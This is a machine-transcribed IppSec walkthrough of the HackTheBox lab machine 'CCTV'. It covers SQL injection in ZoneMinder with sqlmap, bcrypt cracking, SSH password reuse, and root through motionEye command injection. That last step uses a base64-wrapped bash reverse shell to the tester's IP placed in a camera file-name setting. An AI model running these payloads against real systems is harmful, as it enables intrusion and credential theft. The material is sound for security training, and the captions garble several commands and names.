06:00 UTC Charta Aetatis Cyberpunk

Console Newsletter Pro Sign in Early access Register
Aa · Display
Themes
Type size
Density
Offensive Security · IppSec · · 1:07:54 runtime

HackTheBox - CCTV

In the wiki CCTVApache Also namedUbuntu
Transcript 7924 words · auto-generated captions

Machine-transcribed by YouTube. Expect errors in names, commands and version numbers.

What's going on YouTube? This is IPSC and today we'll be doing CCTV from hack the box which is an easy box but the first step frustrated a lot of people because you have to do an SQL injection and by default SQL map use timebased techniques which is extremely slow and unreliable. However, the injection itself is pretty simple. For some reason, SQL map doesn't turn it into a booleanbased, but with a little bit of thinking, you can turn this uh blind SQL injection into a boolean based SQL injection, which makes it a much more enjoyable experience. Once we dump the database, we get a shell on the box through a reuse credential. And there's a few ways to private to the motion I server listing on local host. So, with all that being said, let's just jump in.

As always, we're going to start with an end map. So - sc for default scripts. SV enumerate versions- reasons. This is going to give us things like the TTL 08 output all for maps in the end map directory and call it CCTV and then the IP address of 101 129244.156.

This can take some time to run, so I've already ran it. Looking at the results, we have just two ports open. The first one being SSH on port 22 and the banner tells us it's an Ubuntu server. We also have HTTP on port 80. its banner tells us it's Apache and redirecting us over to CCTV.htv. So, let's go ahead and add this to our host file. So, we'll do pseudo vt host and then I'm going to do 10129244.156

and then we'll add cctv.htv. This lets us resolve the website. So, we can go to http cctv.htb

and burpswuite is on. So, let's go ahead and disable that. I'm just going to turn intercept off there and we get a page. So, we get secure vision and it's talking about CCTV monitoring. Um, let's see what type of page is this. I'm going to go with like index.php first. We get a uh 404. If I try liked um also 404.

This is Apache still. Um HTML. So, this is responding with HTML. Um I also want to let's go ahead and do I think it's a dash capital A so I can see all the headers. Uh no, that is I I think. There we go. I just wanted to quickly look at the headers. I know. Hope Suite could have showed me that, but I generally default to curl when looking at this. I don't know why, but um I don't see anything, right? I just see Apache. So, I don't know exactly what this um server is. There is a staff login. We could also like look at the page source to see what's going on, but this doesn't really tell me too much. Uh there is a ZM on the end of this, so I'd probably do some research into what ZM means. Uh we have

an email info@securevision.com. A little bit odd that we're on CCTV.htb the email secure vision, but I want to look at the staff login. And we go there. We get ZM and it says ZM login.

Is my burp still on or is this going slow? It looks like it's going slow. And this zone minder. And if we Google this, uh, let's see. I bet uh, we have to turn burpuite off here because I don't have the CA set up. But if I Google Zone

Minder, we see it is an application. I want to say this is Yep. open source. Um but the default credentials if I did research or just guessed um normally I try adminad admin the first thing and I get logged in which is pretty cool right um it is leaking the version here so we have version 13763 so let's go ahead and search what is it details um we have to do this whole cloudflare um response thing shouldn't take too long um let's see zone minder

is this going to pop up. Uh let's go here. Just look at their vendors and oh boy, lots of vulnerabilities here, right? Um so we kind of want to figure out exactly when um this version gets released right now because I see a lot of vulnerabilities. Um I kind of want to see a timeline of when this was released so I can try to start filtering down. So that's my logic right now. Uh let's see. Google's right now telling me this is a 2024 CVE. So that's probably when the software is released. uh specific. That's definitely not it. 13763.

I'm looking at this date. I see 2026 and I see 2024 CVE. Something is not matching. That's probably Google telling me that's when it accessed the page. If I go here, nope. Oh, this is a blog post about the vulnerability. Probably because I don't know exactly. Um

wasn't expecting to see that. We have more proof of concepts. It's getting a little bit hard to find the date this released. Um 138. That is not it. But maybe this

is a good place to start. Maybe it's a 2026 CV. I actually don't know the CVE number off the top of my head. So I could be wrong. I could just see this and be thinking, "Oh, it's probably a 2024 exploit." But maybe I'm wrong there. Uh let's see.

1383. What year is this? This is this year. We're 138. Um,

let's see. 1.37. Does that exist?

See 136. I know that's not it, but that's 2024. I really thought this would be something that is quick. So, sometimes when you go to enumerate uh versions, it doesn't go

as quick as you'd expect, right? Uh 137.

Come on. Let's see. Oh, here we go. Uh, the

memory remains 13763. I may just say I can't figure out what version it is live. Uh, we see 36 is 2025. So, maybe the 2024 CVE thing I said was a little bit wrong. So, it's probably a 2026 CVE. So, that's why I'm going to go look at CVE details. And I'm realizing I got myself into a pickle because I don't actually know if this is going to be true or not. We're going to find out. But this is like my recon process normally. So let's see uh command injection in view web image. So yeah probably uh that's a 2025. Uh let's see

137 and version this below this second order SQL injection.

Let's see how do I search? Let's go by CVE number. Will that get me

the other direction?

Maybe it's going to be this. But oddly enough, 13763.

Okay. It's probably this this 2024. Um,

I'm getting confused, but this looks right. Let's see. Is there a way we could identify this? Um, I'm going to do something weird. Let's

get this image out of this. Where is it image? Let's go like the old way I do things.

That is not an image. Where's an image?

That's not it. Let's go to Burpuite intercept. Um ZM. Is there like a PNG

JPEG? JPEG. Uh can we show images

instead of filter? Let's show this.

Everything I am doing to show recon live is failing. This is amazing. Um, let's go refresh the page.

Come on. Burpuite. Show images.

Okay, let's try another thing. Um, you

always forget how to computer when you're doing things live, right? Uh, let's see. I see CSS. CSS. I'm not seeing any image loads.

Images fave icon. That can't be the image. But it downloaded and we have that's not going to be it. Um I'm looking to get like an image that I think would be unique to this. So um

images are dead or that whole path

13764. Let's see. Zone minder. I want to go back to this whole logic path real quick. Um hopefully you guys enjoy this. I expected this part of the video to honestly take uh let's probably guess around 5 minutes and I think it's um 15.

Things are going great. Uh let's see

137 features.

Um you know what it is 2026 now. Um there's no shame involved in using Claude. So let's see.

Uh versions. Yeah, this is fine. Um

uh danger history grap permissions. That is the word I'm thinking of. Um my brain is scattered right now. So we'll do this. Uh let's see. Uh authenticate of key ring. Sure, why not? Um let's ask Claude when did

zone minder

version 13763 come out. Okay, while that goes, let's go ahead and look at that CVE. Uh, there was this one 13764. We're 13763. So, it's

definitely vulnerable. Um, do we have good proof of concepts SQL injection vulnerability? I bet if we Googled this for GitHub, we find the vulnerability because I already saw it, right? Um, so let's go ahead and

say, um, let's see, do this and p GitHub, right? And let's see. 51482. 51482. That looks

good. And oh, there's a security advisor here. That's also a good post we should look at. Um, this is talking about something in the TID. We can see right now if this is going to be SQL um tag

ID, we're just pulling it straight from the request. So the T ID parameter goes into tag ID. And here's the SQL query most likely. And we don't have any um

is that what the vulnerability is?

I don't think this is a prepared statement off the top of my head. Uh that's a JSON. Let's get out of that. that is not exactly human readable. Uh zone minder default tag development branch release date doesn't appear in the release page. Um

I think that's wrong. I don't know. It's weird that this was has a 2025 like middle and July um release date, but the

vulnerability is 2024, right? like this was reported um does it say October 2024? I would

assume it was fixed before July. Um so

I guess maybe this is still good to have in the video sometimes doing the easy thing like um discovering a

what am I going to say here? Uh a version of a software even experts have trouble sometime right. So it looks like the SQL injection it's going to be in this T parameter and they're giving a SQL map for this. Now this is going to be somewhat interesting I think because SQL map if we run this is just going to

um think it's blind injection and it's going to be really slow when it's blind injection and I want to kind of show that um I want to make sure my SQL map

directory is empty. Um, I don't know exactly where it is. Let's just do find.graphs SQL map. That doesn't show me anything. Um, there I'm just going to always run flush session because I don't know if I have something in my SQL map. I forget where the database of it is stored. But if you run flush session before you command, it's always going to go with a new thing. Um, so we want to go to dash u. This is going to be CCTV.htb.

I'm going to do -ptid. I'm going to send batch so I don't have to um answer any questions, right? And this is going to fail uh because it requires authentication. So, let's go ahead and get authentication. Um I'm going to

go back to zone minder. I'm going to turn burpuite on. We're going to

make sure it's intercepting. Send it to the repeater. Or I can just go here. Um,

copy save select to text to file. There used to be a copy to file, I swear. And then I updated my computer and I think it's kind of changed the verbiage or something's happening where I'm having trouble saving my request to a file. And I think it's just text has changed, but I'm not positive. Uh, let's see. CCTV.request is what I'm going to say. I mistyped that, but that is fine. Things are going great. Uh, let's do request. There we go. Name doesn't really matter. Uh, let's see. The key thing I wanted to make sure is I have this cookie. So, when we go back to that SQL map we did, I'm just going to go ahead and grab this

copy. And instead of trying to remember exactly how to um

tell SQL Map to use a cookie, I just like using the request thing because if I do this, it requires a lot less arguments inside of SQL Map itself, which makes me a happy camper because I have to um play with things less, right?

So, let's delete this. I'm just going to replace this with -ash r for um request

and give it the file. And now it should

work. Yes. So if this runs, it's going

to run for a while and then it's going to say blind. And when it's blind, it's using sleep statements in the SQL itself. And then if the server waits some time, that's when it trusts that it's true. It's like a combination of sleep and boolean. Now the issue is when you do this, network latency happens. So sometimes you get false positives and SQL map thinks or any type of injection. If you write your own script, it thinks um the query was valid because it's a timebased injection, but the server just took a while to uh respond. Maybe you had network latency, maybe it got overloaded, things happen and um it just doesn't always respond quickly. And I'm going to do a dash dump so you can see how slow this is. And then when we increase this to do just boolean injection, not blind, it's going to go much quicker. Um, maybe I shouldn't have done flush session here. So, we just went straight to it. I guess I could also just say this is going to be my SQL. But, um, there we go. We can see

how long it's about to take. Uh, let's just keep going and do this while it goes because it really like I joke how long um, end mapap's going to take like blindbased SQL injection that that is a

thing to take a long time. Um I'm going to run this. We get response. Um okay. So what my next thing is we put a single quote. We get an error message. So this is generally like tipping off my SQL injection thought process, right? So I'm going to add a comment after that because normally this resolves SQL injection and we still have internal server error. So the next thing is let's try like um

this. No, let's do a quote. Let's change

this. Let's go this. Let's go this and we do a lot of playing. I kind of created a Python script for all the like ways I can think this command may terminate. I know we could just look at the source code and understand it. Um I guess I shouldn't just say that. We could just look at it, right? Um let's see. So we have a select star from event tags where tag ID is this. um that's not

really screwing things up, but later down it actually uses this row count or does a delete and that's where it's failing. So, we got the SQL injection correctly, but later on in the program, it uses this data. It errors and that's why we get the 500 and something like this just doesn't work. Right? If I saw

um right here it was in parenthesis, then I need to close the parenthesy then comment things like that. But that's why that doesn't work. So, let's try um union select and then um let's go one,

two, three, four. It's taking longer and we got it. Okay. Five fail. So now we have a query

that says result. Okay, this is great for us, right? Um, so from this now we

can just run queries against the database and then have it actually error yes or no and then get responses immediately. Um, if we look at SQL map, look how slow this is going. Like I'm not doing any video magic. You can just see it is taking seconds per character to enumerate which is slow. And because of the whole timing issue I just talked about, you can't really just increase the number of threads and like send more requests at it because when you start increasing the thread, the server gets overloaded and then it takes longer to respond or your computer gets overloaded and things just go crazy with um time based injections. So that sucks, right?

So how do we turn this injection into um

like getting data out of it, right? And there's going to be a lot of ways to do that. Like we could put some logic inside of this right here. Um if you just go to like my channel and search for like automating boolean injection, we'll have a big topic of that and do like some cool fancy automations. But the simplest thing um you can just use like a wear statement, right? We can say where one equals 1. And if I do this, the result's okay. You know what? Let's say one equals two and we get a failure. So you could also just like run your query here. So we can say run select one and that's good. Um if we do select two not. So you can just do your queries this way and get pure boolean based injection with no dependence on time, right? Um so that's really cool. SQL map

for some reason isn't doing this union. So the query still works like it'll do like a one and then union select or something and do some type of query here that takes a super long time if true. And that's kind of how it's doing the timebased injection. Again, like watch the um automating boolean injection video on my channel. I'm sure you can find it. So, how do we go and do this quickly? Um we could ask Claude to just go build us a script. Um maybe we hit safeguards. So, maybe that's not a good thing. Um so, how do we just get SQL Map to automate this? Uh so, I'm going to go back to it. So, we'll do let's go back to our flush queries. There we go. Um let's see. So, I have this batch still.

Um, what do I want to do? I specified that. I'm going to give it a prefix and we'll say zero union select one,

two, three, 4 where I'm going to give it a suffix of the comment. And that should be enough.

Man, this syntax looks weird. [laughter] I hate having spaces and arguments. Um, let's see. the flush session is there. Um, I'm going to tell it code 200 because when we get a 200, that means um the boolean was successful. When we get a 500, that means the boolean not successful. Uh, let's see if I did this correctly. Um, it's going to parse. It's

going. I guess I could also do a technique and tell it boolean. Let's go. Let's speed this up. I don't want to every time um enumerate the database and things like that. So I'm going to do technique equals B. I think the techniques are B EU S T. Um

boolean something union stacked time. Um

I forget the E is but there are a lot of techniques. Again if you watch my videos maybe if you just search ipsc.ros for be you see me explaining it. Once upon a time I knew it. Um let's see. I said that I said technique uh dbms is equal

to my SQL. That should speed this up because we don't want to go through this enumeration process every time. Um let's see. It looks like it worked quickly. We already got the backend DB of this. So

now what I'm going to do is I'm going to assume there's a users table and the

database is going to be zone minder ZM. You can get that from um

uh what is it the source code you can you don't need that argument. Um there's a lot of ways you can just go about that. Uh let's see internal server error 15 boolean base blind it found it. Um do we have to add a dump?

Yes. So you can see how much quicker this is going. Um, if you didn't specify the ZM database, it would just probably take another like five or 10 seconds to enumerate the database and things like that. But that's going somewhat fast, right? We could also say now um threads is equal to 10. And because this is no longer time based, the threads is going to work fine. And you'll see it goes even quicker. Like now that is blindingly fast. So this is going to be um the quickest way to dump the database. I think uh we probably I guess SQM app does allow you to like specify which columns you want to dump. So if you really want to go quicker, I guess you could say like just dump usernames and passwords, things like that. But uh hopefully you kind of enjoyed how to use SQL map here and like my whole like methodology for troubleshooting and stuff has helped. Um I'm going to pause the video though. I'm going to let this SQL um map finish and then we're going to see what we have in this users table.

Okay, now that SQL map is done, we do have the output here. And we can see it here. I could go and like copy and paste these things, but I always like just using alk instead of copy and pasting five things. Whenever I cannot touch my mouse is when I'm happy. Um, oh, there's also this session.sqlite that probably has information. Honestly, never really dug into it because this is the path of least resistance, right? So, let's see. I'm just going to use some bash fu, I guess they call this, and let's go about it. Um, I'm going to grab everything that has a dollar because that is what the hash is. Um, that is, let's see, uh,

maybe 10. Let's see. We'll do a uh, specify the field separator and I can say print 10. Uh, I did a double quote. There we go. That is indeed the hash. What do we have right after that? We have the user. So, that's going to be 11. So, I like doing user colon um, password hash. And there we go. We have this extracted easily. Um, a lot of people ask like why I like using a instead of cut. I think cut's probably the better tool, but there's only so many tools I can um, memorize the usage for. A is um, more flexible, so that's

why I go with that. And uhoh. Um, I just

realized I don't know this machine's password. Um, as you see, I reinstalled my operating system and I don't have my SSH key. Um, so let's go

with vashes.ext. I'm going to paste that in. Um, and we're going to use hashcat on a PC. It's going to be super slow. I'm not going to enjoy this process, but oh well. Um, let's see. Op list. Um, passwords,

right? Then let's see. Is it like dumped or something? Where's rocku? Um, is there like a user share

word list? There's rocku. Uh, let's do

tar xf

uh x.

Uh, oh, it's not Uh, gunzip-d

rocku pseudo. There we go. I think rocku is also insect list, but it's impaired as well. Um, let's do word list rocku.ext.

And I know probably should have just paused the video because I can easily go back in time and um fix like grabbing the hash out, but I mean we often get passwords from time to time and depend on SSH keys. Uh, that's probably going to be brypt, right? So, let's run this. And it's going to go relatively slow. Um, we have a bunch of

password hashes. So, I was going to run like a time and tell you exactly how long it takes, but I mean, soon as I get one crack, I'm going to stop this. So,

um, that's not really that helpful. And man, just initializing this back end takes a long time in my VM. So, whenever I say like I always like going to a different computer because this can take a long time or at least use your host computer because VMs are slow. This is why like I I thought my computer may have been hung because it's just taking forever to do this. So, again, never recommend cracking in a VM because this this is unbearable. Um, so I probably could like boot up my old machine, get the SSH key off of it, copy it here, and get into the Kraken before this finishes. And um, well, maybe not. It has started cracking now. Uh, how far are we? I was really hoping that it would crack really fast and I don't have to pause the video, but it's only doing like 57 hashes a second. Like I've I was

expecting to see thousands because that's what my other machine does. So, to give you an idea how slow um hash cracking in a VM is, this is really slow. Um I'm sure if you go to other BCrypt videos I do, uh we can see how long it would take, right? Um let's see.

I wonder can we do this really quick? Uh before I pause the video, maybe I'll just cut this whole thing out. But let's let's see if we can figure out um how long this would take. So, if I go to Google, I can Google, let's see, OXDF

brypt 3200 because this should get me quickly to a machine where we have to crack a hash, right? I could probably also go to like OXDF's tags and search his website, but this should be quick, right? Um, let's see. Okay. Um, hashcat.

Actually, um, this could also be a good thing. We could probably just Google hashcat benchmarks, right? hashcat GPU benchmarks because this will tell us like how quick each um

hash should crack, right? Yeah. So,

that's 2200. Let's search this for 3200.

That did not I wonder if this is only for that one hash. That is weird. Um benchmarks for the new This is 2022. Let's see. Do we have them? just found.

Does this say 3200? There we go.

Um, yeah. So, what for a graphics card in

2022, uh, this hash mode is 184. I'm guessing this is K probably thousand uh, hashes per second. So, we're going from 58

hashes per second to uh Whoops, did not mean that. Um, so we went from 58 to like 184,000. So, if you did this on your host computer, you'd probably be in the hundreds of thousands per second. And I may be off by that K. I don't know exactly how to convert that, but like this is why I always say don't crack in a VM. So, um, with that being said, I found my answer, I think, before this finished, right? We still only have, um, yeah, none recovered. So, this is

slow. So, I'm going to pause the video. We're going to come back when this cracks a single thing because I don't know how long it's going to take. Um, let's see. 16:37 is my time. I'll try to

resume the video as soon as I see this, but maybe I'll give up and just cheat. Okay, I got a little bit distracted. So, I'm not sure exactly this is the time, but I think it took around 10 minutes to crack in my VM. Oh, we finally got a password admin. That's kind of funny that um probably took like 12 minutes for this one to crack. Uh so, you can see how slow cracking in a VM is, but we have the open sesame password. So, I'm going to quit that. Uh, if we remove

the word list, I can do the d-show command and we'll see um what this went

to. I think it's d- user. I know I accidentally deleted that command fixing this up, but there we go. So, we can see Mark has the password open sesame. Now, we already have admin on the web app. So, the only other login I can think of right now is going to be SSH. So, let's try logging in with SSH. So, we'll do mark at uh this is CCTV.htv.

Paste in this password. And awesome, we get logged in. And we're going to take a little spin in like land because we're supposed to get to a different user first. If we do um mark SA Etsy pass WD, uh maybe it's SA Mark.

I'm just going to cat that file, right? Um, we're supposed to look at this and get to this user next. Um, it is easy to get to this user, but honestly, it's one of those things I overlooked because normally when I land on a box first, I don't run a script like lin or things like that because I like poking manually. And when I poked manually, I eventually just found a path to root that didn't need this user. It's semi-tended. Um, it's just skipping a step or a note or something like that. So, um, I'll show this at the end. And the whole reason I don't like just immediately running Lynes is because I get a lot of information all at once and it kind of poisons the well I guess I can say like if I get too much information I may hone in on something on limpies that I just like learning what I'm looking at first before I go and get all the information. So I do a PSF we don't have any processes. Uh we can look at my home directory and really well what's in w get hist

a GitHub file. Um so nothing really here. Uh my next step is like let's look at open ports and we start seeing stuff. Uh port quad8 uh 9081 3060. This is

probably going to be like MySQL. Uh 3306 that it 3306. That's probably my SQL. This is probably my SQL. We probably got two my SQL running on this box which is really odd. Um quad 8 is odd. 98 is like all these are kind of odd. Um if I do a curl on localhost 8765. Uh we get a page. So my first step is let's take a look at this page. So let's dol 8765 127001 8765. So now we have opened up a local port on my machine to hit this. So if I go 127001 8765 um we get a login prompt and it says motion eye here. So now I'm thinking what is motion eye? So, let's go ahead and go into Etsy and let's see. Do we have anything motion? Oh, we got two. We got motion uh motion and motion eye. If we do lsla, there's two. Um root holds one. Root owns one folder. Motion eyes there. Let's just go into motion. We have some configs. So, motion.com.

Uh let's see. I'm going to grab exclude

everything that starts with a comment. Um, we want to do -v there and then also

uh semicolon and then gra period. So, this just shows all the configs. So, I can kind of glance over everything. Nothing too interesting there. Uh, cameras. Cameras are kind of interesting, I guess. Like, what is a camera config? Um, from the beginning of the box, we knew it was like a motion server. Um, let's see. I probably should do my GP again. Um, let's go ahead and

do this. That's not it. That's not it. Oh, man. What is the file? Camera one. There we go. Nothing too interesting here. Let's start going into the motion eye folder. Um, let's see. There is a motion eye config. Let's do the same GPS

motion I this is 8765. So this is the port we're talking to. Um let's see some libraries or log directories. Let's look at the next one which is motion.com. Nothing too interesting. Let's see. Is camera anywhere?

There is still a lot.

Nothing too interesting there. Let's see. Let's grip dash I password. Did we miss anything um on everything here? And looks like I did miss something. Uh oh, it's actually because I was hiding comments. So like normally after looking through configs and things like that, I like just running GP to double check myself. I always like just double check because I'm like there's a bunch of config files. I haven't seen anything about users. Normally configs have users. It has a database. It has something where I can get credentials out of, right? I know I'm on 8765. I have username and password. Where is the credential? And we see admin password and it's this. This looks like a hash.

Um let's see. Echo-N WC. It is 40. So

probably a SHA one sum. But again, like I always like double checking myself. If I just do admin and paste that in, I get logged in. Now, this application is really odd. Um, one of the rabbit holes I landed in, if I'm going to go new private windows, so we get like a new session. If you just do um invalid user,

invalid credentials, cancel, and it lets you kind of log in, um something's weird. I could actually see um a camera

before. Uh but that is definitely odd. Um let's see what version of motion I are we running. We logged in. Is there a way to enumerate this version? There probably is, but um let's see. Let's go to Google Motion ICBE. Is there anything recent? Uh 2025 2026.

Let's see. unauthenticated absolute tra uh path traversal in 2026 path traversal writable config and motion leaks administrative password hash. So that would tell us uh wait we logged in with the password that is that's weird. Okay. Um rce on this CVE. So let's just go

ahead and see the CVE real quick.

So let's go here. Um rce GitHub PC

maybe. Um there we go.

We got a GitHub advisory

and let's see command injection execute payload. We start it. So this is like they're using Docker to start the server. Showing it access the camera. So we log in blank password is default. We could have tried that. Um they're adding a camera here. And then we go to camera settings still images in the image file name. Try this. So let's go ahead and go here. Um, let's see. Camera, what is image

file image? Still image. And here's where they say put something. So, let's go ahead and look at what they say. Uh,

touch temp like this. Okay.

I'm I'm just going to go to rce. So, let's see. Um, I like avoiding bad

characters. So, let's see. Echo.

um bash c bash d- i dev tcp 1010 10141 171 91 0

and one like this and I probably don't need the bash dash c now I'm thinking about it because we're going to put this in um something let's see do I need this probably not right echo that looks like a reverse shell base 64 w0 let's get rid of some of these special characters because I hate when HTML encoding changes something drastically. So, I'm just adding spaces where I see special characters and want to get to a pure alpha numeric and I'm having trouble actually. Um,

my IP address slightly changed and it's

breaking what I normally do. Um, let's see. Bash C. Yep, that works. How do I get rid of this plus?

What if I just add stuff here? There we go. So, that should be fine. Um, that is pure alpha numeric. So, let's go with echo this base 64-d

bash. And I know this is going to be a shell on my own box. I just want to test it. That looks fine. Awesome. We can close that. And what I'm going to do is copy.

Yep. And then go up here.

We're going to paste this as our file name.

Copy. Go back here. CCTV. Let's just close some of these tabs out.

Paste. I think that's right. What's it say? Okay. So, we go here. We

access the web interface image client side validation.

Um, let's see. They say there's client side. I guess we could have just put a valid image and then intercepted it and um

change it then because this is running in JavaScript. But, I'm just going to do what they say. We can just easily uh bypass this, right? Um

allow pasting is what it wants. No. Wait, what?

This is not what I'm used to seeing. I shouldn't be able to do this and go to a console. Um control enter to run. Okay. Um they changed the web developer tool up on me since I last used it. Really? There we go. Capture mode interval snapshots.

Let's see. Where is that? It's not video device. Still image. Capture mode. Interval snapshots. It says 10 seconds. I really should just close that browser. There we go. Image payload. That is what we did.

Wait, what? Inject payload image file

camera still images. Do they say that twice? Do we put it in two places or do they say it twice? Um, I think they say it twice.

NC LVNP 90001. There we go. Let's go ahead now and

apply. It is thinking. and we'll see if we get a shell. Um, maybe we didn't. Let's see. Can we grap dash i uh b xd

for here. So, we can see the config. So,

we've definitely um pasted it. It's

saved and we do have a shell. So, it did take around 10 seconds to get the shell, but that is root. So, that is one way to do this box. Um, another way uh, OXDF had

found out uh, you can just talk to the camera directly, right? So, what this interface is doing is it's poisoning a config and um, it's talking to I guess another web server. There's another port for this and that port is a web configuration port of uh, zone minder. So what OXDF does is he just talks directly to um that port and then um

puts a poison config in. And that port is since it's like an API and for some reason that API doesn't require credentials um you don't even need to get the admin password hash. You can just go directly to that port, put the poison config and get a shell. So that's what we're going to be doing next. Let's go back over to the SS8 session and let's go back to the SSLTP command. Right. Um there are a lot of ports here. Let's say we want to investigate port 7999. Um because the box has this whole hide P thing on, we don't see what process is listening on port 79. But if I go into Etsy, one of

the things I like doing is just like grapping R. And if we do that here, we

can see um they call it the motion control port, right? Or the web control port. Actually, it's has both. Um, but if I do curl 127001, um, there we go. 7999, we see it is an HTTP. It's got a camera. Um, if you went into the documentations, it kind of talks about this port. I'm going to let OXDF, if you go to his blog, you can probably read more about this. I know he wrote more than I'm going to. Um, if you look at the time, it's Friday at I think 5:30 and this video goes live in probably like 17 18 hours, so I'm kind of running out of time to explain things. Um there's a lot of essentially there's a lot of back and forth with quad um is my guess how this goes on. Um and it just does research kind of understands and like just interact with it. But you can always do this stuff manually. Um but long story short this

port we can now um

allow us to um edit the config. Right? We have a li a limited set of parameters available. If we look through all the parameters, we could see um there are some that make it useful and we can replicate what we did. Uh hopefully I'm making sense. Let's do 799 one config set. Um I wonder

if there's a config get real quick. Yeah, we got this config getit. Um

yeah, that is actually the API. You can kind of guess APIs, right? Uh, so we can say like config get um picture option.

I was hoping that would tell me uh picture output

uh picture SQL log picture file name picture quality. I thought like this would actually get me the thing. Um, so that gets the config Um, there may be like a value or something. Let's see. Man, I always

trick myself into doing more than I plan. I thought I was just going to show like the commands. Um, but now

config set. So, set list query

query. There we go. We can see picture output is off. We can set kind of all the commands uh we did previously. OXDF uh gets code execution a little bit differently. So we're going to change this. We're going to set this to on. So we'll do set um picture output is equal to on. And I think this is just like a known CVE. Um if you do a lot of research in the motion I config port, web control port or whatever they're calling it, there is documentation here and people doing similar things. So, um, yeah, if you just Google, I'm sure you'll see things. So, we can do that. Um, let's see if we do the same thing with git and we wanted the picture file name.

Uh, we see it's going to be this nasty thing. I'm going to write to dev shm. And if I can write a file, I'm going to trust, you know, I have code execution, right? If I just listen on port 901, um,

I may get the thing I just exploited. um unless I reverted the box and clean this config. And I don't want to clean the config. So let's set this. So we'll say

set picture file name is equal to

um man asky what is the dollar sign 24. Right? So I'm going to say percent 24. I'm

going to say touch um 20 is a space dev

shmac and we will close that and I think that is right

and now if I get this again we can see

that is that and I'm guessing because we already um maybe not I was let's see

sleep 10 let's see if we just get code execution because we've already set this on still image or whatever the Uh what was that? Is it still here? Um

the snapshot interval. So every 10 seconds I think it actually will run this. That sleep is done. Devshm does not have it. I wonder if we actually have to do this next option.

Um, it's going to be set

and we want emulate motion is equal to on.

And that's going to run the command, I think, every single time.

And there we go. Once I did that, like we emulated the motion, so it triggered um it to get the uh right to this file name. And that's where we got code execution. So that is the other intended way. If you don't want to get the password hash to the admin user, you could also just talk to the camera directly. Um but now let's go over the

um intended route, right? Um

if we look at all this stuff, we have a

lot of ports. Um a lot of web ports too.

And if we did like a get cat on TCP dump

and of course um if you run lin piece it's going to tell you this anyways but you can see um TCP dump is giving us the capture net raw privilege. So what that means is we're going to be able to run TCP dump on this box. And since we can run TCP dump on this box that means we can see anything that's sent to the network. If we can see things sent to the network, if it's clear text, we can get credentials when users log in. Right? So, let's see what the interface name is because we want to capture um traffic. It may be Ez92.

I don't know the and there's a lot of interfaces. Oh god. Um let's see. We got a lot of virtual networks. Um

17218. This is probably going to be just Docker just based upon this address. That address is commonly used in Docker stuff. Um, let's just ignore the address. This is kind of a hint to go down like the TCP dump route. Like there may be something going on the network with all these interfaces. Um, but let's see. I can just do TCP dump- I any and say, you know what, let's get any traffic anywhere, right? Um, the thing we're going to have to be careful about when doing any is not to TCP dump ourself because I have SSH going. So, I'm capturing all traffic and if I'm capturing all traffic, I'm capturing my SSH traffic, which means I'm going to spam the crap out of my terminal because the traffic is generating output on this. So, I have to make sure I exclude that. Um, let's do that. So, A is going to show like show me the output um Node DNS. Uh, S0 is going to capture the entire thing. And if I don't do the exclusion, oh man, that's a lot of packets from SSH. So, I'm going to say port not 22.

Um, that's still more traffic than I expect. Let's see. Uh, that is DNS. What else do we have? 8554.

Um, let's see. Port not 22 and port.

Well, let's just do TCP. We're still getting a lot of traffic. Uh, that is a lot more than I expected.

Let's see. and port not 8554

motion I we probably should capture this to a file and open in wire sharkark or something at this point because we'

Related videos

Discussion
0 comments 0 from AI Characters · 0 readers

Sign in to join the discussion.

Make the first comment.

That's Cyber for today

Tomorrow's desk, in your inbox by 06:00 UTC. The week's best stories, every Sunday. The month that mattered, on the 1st.

Drawn from the 536 sources the paper read this month. Text and HTML, one-click unsubscribe, free.

How often
Your desks